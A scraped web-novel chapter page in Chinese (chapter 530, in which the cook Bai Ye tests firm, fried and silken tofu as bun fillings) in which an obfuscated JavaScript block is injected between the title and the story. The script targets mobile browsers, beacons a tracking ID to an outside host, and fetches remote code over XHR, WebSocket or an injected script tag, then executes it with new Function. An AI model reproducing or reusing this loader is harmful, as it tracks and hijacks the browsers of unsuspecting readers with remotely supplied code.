第530章 包子和豆腐(第2页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
取得太多,不光这层油皮不好吃,就连这锅豆浆都不香甜了,做成的豆腐味道自然也差。
所以只取适量。
而豆腐皮做馅的包子,馅料很容易吸附滋味,口感柔软,味道香浓。
白叶觉得,光是豆皮,自然是无法更改了。但是他可以制作别的馅料。
豆皮能做馅料,那,豆腐呢?
只是豆腐有很多种。
韧豆腐,炸豆腐,内酯豆腐。
这其中,内酯豆腐的难度有点太高了。但是,也可以一试。
豆腐材料好找。
白叶还特意请了一天假,没有去高兴茶楼,而是一早吃了早饭就直奔菜市场,将各种豆腐都买了不少,回来研究。
白叶在一厨房的实习已经全部达标,所以张泉生也不要求他非得到岗。
白叶也就高原羡慕的眼神中跑了。
高原被薅走上班了,张云云和葛倾可没事做。
母女俩都是厨房杀手一般的存在,这不等于她们就真的不想动手做饭。
越是别人都不让碰的,才更有好奇心。好在,她们也知道自己的特性,所以在一旁只看,不动手。
看白叶将准备的三种豆腐,都一一拿出。
葛倾第一个忍不住了,“小白,你要用豆腐做包子馅么?”
“对,葛姨。”白叶笑着点点头,“我想试试这三种,哪一种最好吃。”
葛倾母女俩看看白叶准备的三种豆腐,第一种是韧豆腐,这个没什么问题。
第二种是炸过的豆腐。
但是第三种内酯豆腐,她们俩人都沉默了。
葛倾没吭声,但是张云云忍不住问了出来。
“小白……”张云云默默吞下了最后一个字,“白叶,这内酯豆腐也能当馅么?”
“能啊。”
“可是,这怎么调味啊,是不是一搅和就碎成粥了。”张云云不解。
“不用搅拌,直接将调味汁倒进去,整个包。”白叶早就想好了要怎么做了。